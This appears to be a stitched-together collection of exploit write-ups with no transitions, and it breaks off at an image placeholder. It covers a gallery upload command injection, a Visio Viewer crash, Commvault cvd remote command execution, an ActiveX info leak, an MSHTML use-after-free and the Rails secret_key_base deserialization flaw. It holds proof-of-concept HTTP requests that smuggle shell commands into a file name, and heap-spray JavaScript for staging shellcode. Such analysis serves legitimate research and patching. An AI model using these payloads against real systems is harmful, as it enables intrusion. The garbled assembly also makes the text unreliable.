POST /gallery/upload/index HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------21456260222104 Content-Length: 970 -----------------------------21456260222104 Content-Disposition: form-data; name="title" 1 -----------------------------21456260222104 Content-Disposition: form-data; name="image_add" 1 -----------------------------21456260222104 Content-Disposition: form-data; name="description" 1 -----------------------------21456260222104 Content-Disposition: form-data; name="tags" -----------------------------21456260222104 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000000 -----------------------------21456260222104 Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS" 511ad0922b50f -----------------------------21456260222104 Content-Di sposition: form-data; name="file"; filename="1 & ls -la > file.txt" Content-Type: application/octet-stream 1 -----------------------------21456260222104 Content-Disposition: form-data; name="submit" Update -----------------------------21456260222104--
According to my testing, really authentication isn’t needed to reach the vulnerable code.
- Vulnerability: The vulnerable resides on modules/gallery/upload/index.php, in the uploadFile() function, where
$exec is called with partially user controlled data:
$command = "mv " . $_FILES['file']['tmp_name'] . " $zip"; //die; exec ($command, $output = array (), $res); $command = "chmod 777 " . $zip; exec ($command, $output = array (), $res); $command = "unzip -o -UU " . $zip; exec ($command, $output = array (), $res);
The $zip variable can be partially controlled:
$zip = "/tmp/" . $_FILES['file']['name'];
Since $_FILES[‘file’][‘name’] is used for injection “/” is a badchar, which makes exploitation (of something usefull) really difficult:
1) Execution is with www-data privileges by default, not a lot of things to do.
2) You are executing from modules/gallery/upload where by default, and in the recommended installation user hasn’t privileges for writting. So
the provided PoC by htbridge doesn’t work at all in a default installation:
Content-Di sposition: form-data; name="file"; filename="1 & ls -la > file.txt"
You cannot write file.txt in modules/gallery/upload by default.
My PoC:
POST /gallery/upload/index HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://localhost/gallery/view/1 Content-Type: multipart/form-data; boundary=---------------------------1107861128371857341391966473 Content-Length: 360 -----------------------------1107861128371857341391966473 Content-Disposition: form-data; name="file"; filename="ls; <COMMAND>" Content-Type: text/plain msf.txt -----------------------------1107861128371857341391966473 Content-Disposition: form-data; name="submit" Upload File -----------------------------1107861128371857341391966473--
Technical Analysis
PoC
- PoC: http://aluigi.org/poc/ole32_1.zip
- Embed a Visio Viewer In a Web Page: http://msdn.microsoft.com/en-us/library/aa168474(v=office.11).aspx
Details
Crash Windows XP SP3 Visio Viewer 2010
(9b8.9bc): Unknown exception - code e0000002 (first chance) (9b8.9bc): C++ EH exception - code e06d7363 (first chance) (9b8.9bc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001c12b8 ebx=00000000 ecx=00400035 edx=00000000 esi=001e6498 edi=029c4240 eip=0e000000 esp=00136cf4 ebp=00136d24 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 0e000000 ?? ??? 0:000> !exchain TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\triage\oca.ini, error 2 TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\winxp\triage.ini, error 2 TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\triage\user.ini, error 2 00136db4: *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\MICROS~2\Office14\VVIEWER.DLL - VVIEWER!GetAllocCounters+132fc0 (602ae0fd) 00136de0: VVIEWER!GetAllocCounters+1332f5 (602ae432) 00136e2c: VVIEWER!GetAllocCounters+1311ba (602ac2f7) 00136ecc: VVIEWER!GetAllocCounters+1309e1 (602abb1e) 00136f40: VVIEWER!GetAllocCounters+130f7c (602ac0b9) 001381f4: VVIEWER!GetAllocCounters+11cf02 (6029803f) 00138228: VVIEWER!GetAllocCounters+11baee (60296c2b) 0013eae0: USER32!_except_handler3+0 (7e44048f) CRT scope 0, func: USER32!UserCallWinProcCheckWow+155 (7e44ac6b) 0013eb40: USER32!_except_handler3+0 (7e44048f) 0013ee5c: BROWSEUI!_except_handler3+0 (76001b21) CRT scope 0, filter: BROWSEUI!BrowserProtectedThreadProc+56 (75fa5394) func: BROWSEUI!BrowserProtectedThreadProc+72 (75fa53b5) 0013ffe0: kernel32!_except_handler3+0 (7c839ac0) CRT scope 0, filter: kernel32!BaseProcessStart+29 (7c843882) func: kernel32!BaseProcessStart+3a (7c843898) !heap addressses come on!!!!
js_pivot = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); heap_obj.debugHeap(true); for (var i=1; i < 0x1e0; i++) { heap_obj.alloc(block); } heap_obj.debugHeap(false); JS
heap spray to populate 200020
<script> var heap_obj = new heapLib.ie(0x20000); var nops = unescape("%u0c0c%u0c0c"); while (nops.length < 0x80000) nops += nops; var shellcode = nops.substring(0, 0x800); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x1000-6)/2); alert(1); heap_obj.gc(); heap_obj.debugHeap(true); for (var i=1; i < 0x1E; i++) { heap_obj.alloc(block); } heap_obj.debugHeap(false); alert(2); </script>
Reliable UNICODE Pointers to the heap could be on the mapping of:
xpsp2res.dll re5.1.2600.5512 start end module name 01a30000 01cf5000 xpsp2res (deferred) About Internet Explorer 6, before update 0:010> lmv m IEXPLORE start end module name 00400000 00419000 IEXPLORE (deferred) Image path: C:\Program Files\Internet Explorer\IEXPLORE.EXE Image name: IEXPLORE.EXE Timestamp: Sun Apr 13 20:34:13 2008 (48025225) CheckSum: 00017A61 ImageSize: 00019000 File version: 6.0.2900.5512 Product version: 6.0.2900.5512 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Microsoft® Windows® Operating System InternalName: iexplore OriginalFilename: IEXPLORE.EXE ProductVersion: 6.00.2900.5512 FileVersion: 6.00.2900.5512 (xpsp.080413-2105) FileDescription: Internet Explorer LegalCopyright: © Microsoft Corporation. All rights reserved.
After update
0:018> lmv m IEXPLORE start end module name 00400000 00419000 IEXPLORE (deferred) Image path: C:\Program Files\Internet Explorer\IEXPLORE.EXE Image name: IEXPLORE.EXE Timestamp: Sun Apr 13 20:34:13 2008 (48025225) CheckSum: 00017A61 ImageSize: 00019000 File version: 6.0.2900.5512 Product version: 6.0.2900.5512 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Microsoft® Windows® Operating System InternalName: iexplore OriginalFilename: IEXPLORE.EXE ProductVersion: 6.00.2900.5512 FileVersion: 6.00.2900.5512 (xpsp.080413-2105) FileDescription: Internet Explorer LegalCopyright: © Microsoft Corporation. All rights reserved.
After updates:
Internet Explorer 7
0:014> lmv m IEFRAME start end module name 009c0000 00f89000 IEFRAME (deferred) Image path: C:\WINDOWS\system32\IEFRAME.dll Image name: IEFRAME.dll Timestamp: Tue Aug 14 03:54:09 2007 (46C10B41) CheckSum: 005CA70C ImageSize: 005C9000 File version: 7.0.5730.13 Product version: 7.0.5730.13 File flags: 8 (Mask 3F) Private File OS: 40004 NT Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Windows® Internet Explorer InternalName: IEFRAME.DLL OriginalFilename: IEFRAME.DLL ProductVersion: 7.00.5730.13 FileVersion: 7.00.5730.13 (longhorn(wmbla).070711-1130) FileDescription: Internet Explorer LegalCopyright: © Microsoft Corporation. All rights reserved.
Technical Analysis
Introduction
Commvault is a data protection and information management software; an enterprise-level data
platform that contains modules to back up, restore, archive, replicate, and search data.
According to public documentation, the data is protected by installing agent software on the
physical or virtual hosts, which use the OS or application native APIs to protect data in a
consistent state. Production data is processed by the agent on client computers and backuped
up through a data manager (the MediaAgent) to disk, tape, or cloud storage. All data
management activity in the environment is tracked by a centralized server (called CommServe),
and can be managed by administrators through a central user interface. End users can access
protected data using web browsers or mobile devices.
One of the base services of Commvault is vulnerable to a remote command injection attack,
specifically the cvd service. It was a Metasploit submission by @rwincey as PR #9340.
Vulnerable Application
According to the public advisory, Commvault v11 SP5 or prior are vulnerable to this
vulnerability.
The specific vulnerable version I tested was 11.0.80.0, and the software was obtained from
the Metasploit contributor @rwincey. The software is available from our Google Drive at:
Vulnerable Apps –> Commvault –> Commvault_R80_SP5_22September16.exe.
The version of the vulnerable DLL is:
Image path: C:\Program Files\Commvault\ContentStore\Base\CVDataPipe.dll Image name: CVDataPipe.dll Timestamp: Wed Dec 21 11:59:21 2016 (585AC2F9) CheckSum: 002ED404 ImageSize: 002F0000 File version: 11.80.50.60437 Product version: 11.0.0.0 File flags: 1 (Mask 3F) Debug File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Commvault ProductName: Commvault InternalName: CVDataPipe OriginalFilename: CVDataPipe.dll ProductVersion: 11.0.0.0 FileVersion: 11.80.50.60437 PrivateBuild: SpecialBuild: FileDescription: LegalCopyright: Copyright (c) 2000-2016 LegalTrademarks: Comments:
Root Cause Analysis
Based on the information we have from the pull request, the vulnerability is a command injection, so
that’s where we begin reversing.
Usually, there are two ways to execute a command in a C/C++ application, one of them is WinExec()
,
and the other one is CreateProcess()
:
BOOL WINAPI CreateProcess( _In_opt_ LPCTSTR lpApplicationName, _Inout_opt_ LPTSTR lpCommandLine, _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ BOOL bInheritHandles, _In_ DWORD dwCreationFlags, _In_opt_ LPVOID lpEnvironment, _In_opt_ LPCTSTR lpCurrentDirectory, _In_ LPSTARTUPINFO lpStartupInfo, _Out_ LPPROCESS_INFORMATION lpProcessInformation );
Since CreateProcess()
is meant to replace WinExec()
according to Microsoft, we can create a
break point there fist in our debugger (WinDBG), and we hit it:
0:044> g Breakpoint 3 hit kernel32!CreateProcessA: 00000000`76fe8730 4c8bdc mov r11,rsp
Looking at the callstack of this kernel32!CreateProcessA
, we already have a pretty good idea
locating the vulnerability:
0:044> k Child-SP RetAddr Call Site 00000000`11a36b78 000007fe`f378a40f kernel32!CreateProcessA 00000000`11a36b80 000007fe`f377714e CVDataPipe!execCmd+0x7af 00000000`11a3f340 000007fe`f3777a69 CVDataPipe!CVDMessageHandler+0x78e 00000000`11a3fbd0 000007fe`f9cdc58d CVDataPipe!CVDMessageHandler+0x10a9 00000000`11a3fd40 000007fe`f9cdc1b1 CvBasicLib!CvThreadPool::th_defaultWorkerObj+0x3cd 00000000`11a3fe40 000007fe`f9cd2073 CvBasicLib!CvThreadPool::th_defaultWorker+0x51 00000000`11a3fe90 000007fe`f9a84f7f CvBasicLib!CvThread::~CvThread+0x63 00000000`11a3fee0 000007fe`f9a85126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376] 00000000`11a3ff10 00000000`76f6f56d MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354] 00000000`11a3ff40 00000000`770a3281 kernel32!BaseThreadInitThunk+0xd 00000000`11a3ff70 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
There are two things that are interesting. One of them is CVDataPipe!CVDMessageHandler
, and the
other one is CVDataPipe!execCmd
.
CVDataPipe!CVDMessageHandler
is basically a function that handles our packet’s message type.
The Metasploit exploit specifically sends a code of 9h
, which is the message type for execCmd
:
.text:0000000180147103 loc_180147103: ; CODE XREF: CVDMessageHandler(int,selectStruct_t *,CQiSocket,void *):loc_180146D78j .text:0000000180147103 lea rax, [rsp+888h+var_220] ; jumptable 0000000180146D78 case 9 .text:000000018014710B mov [rsp+888h+var_600], rax .text:0000000180147113 mov rdx, [rsp+888h+sock] .text:000000018014711B mov rcx, [rsp+888h+var_600] .text:0000000180147123 call cs:??0CQiSocket@@QEAA@AEBV0@@Z ; CQiSocket::CQiSocket(CQiSocket const &) .text:0000000180147129 mov [rsp+888h+var_5F0], rax .text:0000000180147131 mov r8, [rsp+888h+arg_18] .text:0000000180147139 mov rdx, [rsp+888h+var_5F0] .text:0000000180147141 mov rcx, [rsp+888h+structSelect] .text:0000000180147149 call ?execCmd@@YAXPEAUselectStruct_t@@VCQiSocket@@PEAX@Z ; execCmd(selectStruct_t *,CQiSocket,void *)
If we take a closer look at the execCmd
function, we can tell the purpose of it is for processes such as:
- ifind (For restoring purposes)
- BackupShadow.exe (For archiving)
- Pub (Map file)
- createIndex (A Commvault process for building index)
.text:0000000180159F1B loc_180159F1B: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+261j .text:0000000180159F1B ; DATA XREF: .rdata:0000000180286258o .text:0000000180159F1B lea rdx, aIfind ; "ifind" .text:0000000180159F22 lea rcx, [rsp+87B8h+ApplicationName] ; Str .text:0000000180159F2A call cs:strstr .text:0000000180159F30 test rax, rax .text:0000000180159F33 jnz short loc_180159F6D .text:0000000180159F35 lea rdx, aBackupshadow_e ; "BackupShadow.exe" .text:0000000180159F3C lea rcx, [rsp+87B8h+ApplicationName] ; Str .text:0000000180159F44 call cs:strstr .text:0000000180159F4A test rax, rax .text:0000000180159F4D jnz short loc_180159F6D .text:0000000180159F4F lea rdx, aPub ; "Pub" .text:0000000180159F56 lea rcx, [rsp+87B8h+ApplicationName] ; Str .text:0000000180159F5E call cs:strstr ... .text:000000018015A0BA loc_18015A0BA: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+307j .text:000000018015A0BA lea rdx, aCreateindex ; "createIndex" .text:000000018015A0C1 lea rcx, [rsp+87B8h+ApplicationName] ; Str .text:000000018015A0C9 call cs:strstr .text:000000018015A0CF test rax, rax .text:000000018015A0D2 jz loc_18015A220
However, if you don’t call one of these processes, the exeCmd
will assume you want to run your
custom process, and pass it to CreateProcess
anyway:
.text:000000018015A361 loc_18015A361: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+675j .text:000000018015A361 call cs:GetEnvironmentStrings .text:000000018015A367 mov [rsp+87B8h+var_86A8], rax .text:000000018015A36F lea rax, [rsp+87B8h+StartupInfo] .text:000000018015A377 mov rdi, rax .text:000000018015A37A xor eax, eax .text:000000018015A37C mov ecx, 68h .text:000000018015A381 rep stosb .text:000000018015A383 mov [rsp+87B8h+StartupInfo.cb], 68h .text:000000018015A38E lea rax, [rsp+87B8h+ProcessInformation] .text:000000018015A396 mov rdi, rax .text:000000018015A399 xor eax, eax .text:000000018015A39B mov ecx, 18h .text:000000018015A3A0 rep stosb .text:000000018015A3A2 mov [rsp+87B8h+StartupInfo.dwFlags], 1 .text:000000018015A3AD xor eax, eax .text:000000018015A3AF mov [rsp+87B8h+StartupInfo.wShowWindow], ax .text:000000018015A3B7 lea rax, [rsp+87B8h+ProcessInformation] .text:000000018015A3BF mov [rsp+87B8h+lpProcessInformation], rax ; lpProcessInformation .text:000000018015A3C4 lea rax, [rsp+87B8h+StartupInfo] .text:000000018015A3CC mov [rsp+87B8h+lpStartupInfo], rax ; lpStartupInfo .text:000000018015A3D1 mov [rsp+87B8h+lpCurrentDirectory], 0 ; lpCurrentDirectory .text:000000018015A3DA mov [rsp+87B8h+lpEnvironment], 0 ; lpEnvironment .text:000000018015A3E3 mov [rsp+87B8h+dwCreationFlags], 10h ; dwCreationFlags .text:000000018015A3EB mov [rsp+87B8h+bInheritHandles], 0 ; bInheritHandles .text:000000018015A3F3 xor r9d, r9d ; lpThreadAttributes .text:000000018015A3F6 xor r8d, r8d ; lpProcessAttributes .text:000000018015A3F9 lea rdx, [rsp+87B8h+CommandLine] ; lpCommandLine .text:000000018015A401 lea rcx, [rsp+87B8h+ApplicationName] ; lpApplicationName .text:000000018015A409 call cs:CreateProcessA
It is unclear whether allowing an arbitrary custom process is intentional or not, it is unsafe
anyway considering the cvd process binds to 0.0.0.0, so anybody can access to it.
Technical Analysis
Info Leak Through ForceRemoteBehavior
The ForceRemoteBehavior getter, when using an “unitialized” issymbol
object allows to disclose address from issymbol. Issymbol isn’t aslr
compatible, but could rebase. Anyway, issymbol doesn’t contain pointers
to interesting API’s for ASLR bypass, so even when it would be easy
to use the issymbol.dll it won’t be usefull because of this.
<html> <body> <object classid='clsid:3c9dff6f-5cb0-422e-9978-d6405d10718f' id='test'></object> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <script language='javascript'> alert(test.ForceRemoteBehavior); </script> </body> </html>
Info Leak through StartupColumnTranslate
Overflowing the vulnerable InternationalSeparator() method with 212 bytes
allows to reach the pointer to the StartupColumnTranslate property (string).
By overflowing this pointer should be possible to retrieve arbitrary data
from the memory map by using the StartupColumnTranslate getter:
.text:1000EF40 StartupColumnTranslate_sub_1000EF40 proc near ; DATA XREF: .rdata:101DCE98o .text:1000EF40 .text:1000EF40 var_10 = byte ptr -10h .text:1000EF40 var_C = dword ptr -0Ch .text:1000EF40 var_4 = dword ptr -4 .text:1000EF40 .text:1000EF40 push 0FFFFFFFFh .text:1000EF42 push offset sub_101B7579 .text:1000EF47 mov eax, large fs:0 .text:1000EF4D push eax .text:1000EF4E push ecx .text:1000EF4F push esi .text:1000EF50 mov eax, ___security_cookie .text:1000EF55 xor eax, esp .text:1000EF57 push eax .text:1000EF58 lea eax, [esp+18h+var_C] .text:1000EF5C mov large fs:0, eax .text:1000EF62 add ecx, 2540h ; ecx + 2540h => pointer to StartupColumnTranslate property .text:1000EF68 push ecx .text:1000EF69 lea ecx, [esp+1Ch+var_10] .text:1000EF6D call ds:??0?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAE@ABV01@@Z ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>> const &) .text:1000EF73 lea ecx, [esp+18h+var_10] .text:1000EF77 mov [esp+18h+var_4], 0 .text:1000EF7F call ds:?AllocSysString@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEPA_WXZ ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::AllocSysString(void) .text:1000EF85 lea ecx, [esp+18h+var_10] ; void * .text:1000EF89 mov esi, eax .text:1000EF8B call ds:__imp_??1?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAE@XZ ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(void) .text:1000EF91 mov eax, esi .text:1000EF93 mov ecx, [esp+18h+var_C] .text:1000EF97 mov large fs:0, ecx .text:1000EF9E pop ecx .text:1000EF9F pop esi .text:1000EFA0 add esp, 10h .text:1000EFA3 retn .text:1000EFA3 StartupColumnTranslate_sub_1000EF40 endp
PROBLEM: It’s using the Microsoft Foundation Classes, and create fake
strings memory objects in memory isn’t so easy! We should dig in to that,
should be possible with more work!
Technical Analysis
Set innerHTML
[*] EBX after EnsureRecalcNotify is: 0x0998cff0
0998cff0 ???????? ???????? ???????? ????????
0998d000 ???????? ???????? ???????? ????????
0998d010 ???????? ???????? ???????? ????????
0998d020 ???????? ???????? ???????? ????????
0998d030 ???????? ???????? ???????? ????????
0998d040 ???????? ???????? ???????? ????????
0998d050 ???????? ???????? ???????? ????????
0998d060 ???????? ???????? ???????? ????????
Which is lated used in the crash (see ESI):
(d9c.694): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0bcebd00 ebx=00000000 ecx=11cf98b5 edx=aa0082bb esi=0998cff0 edi=047fd70c
eip=6b8199cd esp=047fd6d0 ebp=047fd6e8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!QIClassID+0x38:
6b8199cd 8b06 mov eax,dword ptr [esi] ds:0023:0998cff0=????????
This is because in the vulnerable version, EnsureRecalcNotify returns the invalid reference, passes it to GetLineInfo, and later used in the crash:
.text:639F5549 loc_639F5549: ; CODE XREF: CDisplayPointer::MoveToMarkupPointer(IMarkupPointer *,IDisplayPointer *)+6Ej
.text:639F5549 test eax, eax
.text:639F554B jz loc_6378185D
.text:639F5551 push 1
.text:639F5553 mov edi, eax
.text:639F5555 call ?EnsureRecalcNotify@CElement@@QAEJH@Z ; CElement::EnsureRecalcNotify(int)
.text:639F555A lea ecx, [esp+18h+var_8] ; After the EnsureRecalcNotify call, EBX is invalid
.text:639F555E push ecx
.text:639F555F push ebx
.text:639F5560 call GetLineInfo ; To the crash
.text:639F5565 jmp loc_63908A6E
In the patched version, the return value of EnsureNotifyValue is checked before calling GetLineInfo:
.text:639F5213 loc_639F5213: ; CODE XREF: CDisplayPointer::MoveToMarkupPointer(IMarkupPointer *,IDisplayPointer *)+6Fj
.text:639F5213 test eax, eax
.text:639F5215 jz loc_63780DDD
.text:639F521B push 1
.text:639F521D mov edi, eax
.text:639F521F call ?EnsureRecalcNotify@CElement@@QAEJH@Z ; CElement::EnsureRecalcNotify(int)
.text:639F5224 mov edi, eax
.text:639F5226 test edi, edi
.text:639F5228 js loc_63907FAF ; to RETN
.text:639F522E mov edx, [ebp+arg_4]
.text:639F5231 lea ecx, [esp+18h+var_8]
.text:639F5235 push ecx
.text:639F5236 push edx
.text:639F5237 call GetLineInfo
.text:639F523C jmp loc_63907F1E
”`
Technical Analysis
Background
Ruby on Rails is a server-side web application framework written in Ruby. It is a model-view-controller (MVC) archtecture, providing default structures for a database, a web service, and web pages. It is also a popular choice of framework among well known services and products such as Github, Bloomberg, Soundcloud, Groupon, Twitch.tv, and of course, Rapid7s Metasploit.
Ruby on Rails versions including 5.2.2.1 and prior are vulnerable to a deserialization attack, because the Rails application by default uses its own name as the secret_key_base in development mode. This can be easily extracted by visiting an invalid resource for a route, which as a result allows a remote user to create and deliver a signed serialized payload, load it by the application, and gain remote code execution.
Please note that this is not the same as the “DoubleTap” vulnerability. The other one is a directory traversal attack that in theory could be chained to aid remote code execution.
In this documentation, I will go over:
- The setup I used to test the vulnerable environment.
- My analysis on the vulnerability.
- Some information about patching.
Vulnerable Setup
In order to set up a vulnerable box for testing, do the following on a Linux (Ubuntu) machine, assuming rvm is already installed:
$ rvm gemset create test
$ rvm gemset use test
$ gem install rails '5.2.1'
$ rails new demo
Next, cd
to demo, and then modify the Gemfile like this:
$ echo "gem 'rails', '5.2.1'" >> Gemfile $ echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile $ echo "source 'https://rubygems.org'" >> Gemfile $ bundle
Next, add a new controller:
rails generate controller metasploit
And add the index method for that controller (under app/controllers/metasploit_controller.rb):
class MetasploitController < ApplicationController def index render file: "#{Rails.root}/test.html" end end
In the root directory, add a new test.html.
echo Hello World > test.html
Also, add that new route in config/routes.rb:
Rails.application.routes.draw do resources :metasploit end
And finally, start the application:
rails s -b 0.0.0.0
By default, the application should be using its name as the secret key that is hashed in MD5.
Vulnerability Analysis
The best way to understand the vulnerabilty is by looking at Rails’ application.rb source code. Most importantly, the vulnerability comes from the secret_key_base
method in the Application class (see railties/lib/rails/application.rb):
def secret_key_base if Rails.env.test? || Rails.env.development? secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name) else validate_secret_key_base( ENV["SECRET_KEY_BASE"] || credentials.secret_key_base || secrets.secret_key_base ) end end
We see that in order to be vulnerable, we either need to be in test mode, or development mode. That way, the application will wither rely on a secret_key_base from somewhere (explained later), or it computes its own based on the application name.
Rails 5.2 (2017)
Before we move on with the analysis, it is interesting to point out that the vulnerable code we are looking at right now was actually meant to improve Rails security with encrypted credentials, which was introduced in Aug 3rd, 2017. Although meant for better security, it did not start off safe, but in fact, worse:
def secret_key_base if Rails.env.test? || Rails.env.development? Digest::MD5.hexdigest self.class.name # Code omitted below
You can see the pull request here.
Before this, Rails used to rely on config/secrets.yml, which wasnt protected by encryption like 5.2’s credentials.yml.enc file.
Where is the Secret?
According to the vulnerable code, we know that by default, Rails would try to load the secret_key_base somewhre, otherwise it relies on the application name. On a newly installed Rails app, it seems it just defaults back to the application name, but let us take a look at the first condition anyway:
secrets.secret_key_base
Here we know that the secret_key_base comes from secrets
. If we look around a little, we know that is actually a method:
def secrets @secrets ||= begin secrets = ActiveSupport::OrderedOptions.new files = config.paths["config/secrets"].existent files = files.reject { |path| path.end_with?(".enc") } unless config.read_encrypted_secrets secrets.merge! Rails::Secrets.parse(files, env: Rails.env) # Fallback to config.secret_key_base if secrets.secret_key_base isn't set secrets.secret_key_base ||= config.secret_key_base # Fallback to config.secret_token if secrets.secret_token isn't set secrets.secret_token ||= config.secret_token if secrets.secret_token.present? ActiveSupport::Deprecation.warn( "`secrets.secret_token` is deprecated in favor of `secret_key_base` and will be removed in Rails 6.0." ) end secrets end end
And very quickly, we see that the secret comes from config/secrets.*, encrypted or not. Well, by default, a Rails app does not actually have this file, so it makes perfect sense we always fall back to the application name (in MD5) as the secret_key_base by default.
Notice the above function basically means the secret is loaded from a file, and it is parsed. It does not actually tell us how that secret is parsed, so naturally this line has my curiosity:
secrets.merge! Rails::Secrets.parse(files, env: Rails.env)
And Rails::Secrets.parse
comes from the secrets.rb file:
def parse(paths, env:) paths.each_with_object(Hash.new) do |path, all_secrets| require "erb" secrets = YAML.load(ERB.new(preprocess(path)).result) || {} all_secrets.merge!(secrets["shared"].deep_symbolize_keys) if secrets["shared"] all_secrets.merge!(secrets[env].deep_symbolize_keys) if secrets[env] end
This tells a couple of things:
- The secrets file should be a ERB template, and it is serialized.
- Before it is loaded, the content is spit out by a method called
preprocess
If the secrets file is encrypted (ends with .enc
), then this decryption routine should run before it is deserialized:
def _decrypt(encrypted_message, purpose) cipher = new_cipher encrypted_data, iv, auth_tag = encrypted_message.strip.split("--".freeze).map { |v| ::Base64.strict_decode64(v) } # Currently the OpenSSL bindings do not raise an error if auth_tag is # truncated, which would allow an attacker to easily forge it. See # https://github.com/ruby/openssl/issues/63 raise InvalidMessage if aead_mode? && (auth_tag.nil? || auth_tag.bytes.length != 16) cipher.decrypt cipher.key = @secret cipher.iv = iv if aead_mode? cipher.auth_tag = auth_tag cipher.auth_data = "" end decrypted_data = cipher.update(encrypted_data) decrypted_data << cipher.final message = Messages::Metadata.verify(decrypted_data, purpose) @serializer.load(message) if message rescue OpenSSLCipherError, TypeError, ArgumentError raise InvalidMessage end
Basically, the code is expecting the input to be in this format, and is split by --
:
string1--string2--string3
The first string is the actual encrypted data. The second string is the IV. The third is the auth tag. Each substring is Base64 encoded, so after splitting the string, they need to be decoded. What happens next depends on the code using the decryption method, beause it needs to specity what cipher to use. In the case of secrets.yml.enc, we are expecting AES-128-GCM, because it is specified in secrets.rb:
@cipher = "aes-128-gcm"
After that, our decrypted string is deserialized, and loaded as the secret. Technically, if a user has access to secrets.yml, they could backdoor this too to gain remote code execution.
However, like I previously said, all this does not even happen by default, because there is no secrets.yml by default. Using the application name as the key is definitely a much bigger concern for Rails users.
Patching
Since vulnerable version relies on the application name to create the secret_key_base, it is easy to mitigate this. Originally, this was the vulnerable code:
def secret_key_base if Rails.env.test? || Rails.env.development? secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name) # Code omitted below
And that becomes the following the patched version:
def secret_key_base if Rails.env.development? || Rails.env.test? secrets.secret_key_base ||= generate_development_secret # Code omitted below
In method generate_development_secret
, the key is completely randomized using SecureRandom:
def generate_development_secret if secrets.secret_key_base.nil? key_file = Rails.root.join("tmp/development_secret.txt") if !File.exist?(key_file) random_key = SecureRandom.hex(64) File.binwrite(key_file, random_key) end secrets.secret_key_base = File.binread(key_file) end secrets.secret_key_base end
Looks like everything a-okay.
Technical Analysis
—
The crash / corruptions happens at CMarkup::UpdateMarkupContentsVersion:
.text:637C9454 inc dword ptr [eax+10h]
In order to return from CMarkup::UpdateMarkupContentsVersion we can use the next route:
.text:637C9454 inc dword ptr [eax+10h] ; Corruption! .text:637C9457 .text:637C9457 loc_637C9457: ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+14j .text:637C9457 mov ecx, [edx+94h] ; we need to bypass this part, we control edx, so not a big deal .text:637C945D xor eax, eax .text:637C945F test ecx, ecx .text:637C9461 jz short loc_637C9466 .text:637C9463 mov eax, [ecx+0Ch] .text:637C9466 .text:637C9466 loc_637C9466: ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+23j .text:637C9466 cmp dword ptr [eax+1C0h], 0 ; We must make eax+1c0h == 0 (not a big deal via spray) .text:637C946D jz short locret_637C9496 ; So this jz is taken and we return from CMarkup::UpdateMarkupContentsVersion
- After returning from CMarkup::UpdateMarkupContentsVersion we land into CMarkup::NotifyElementEnterTree:
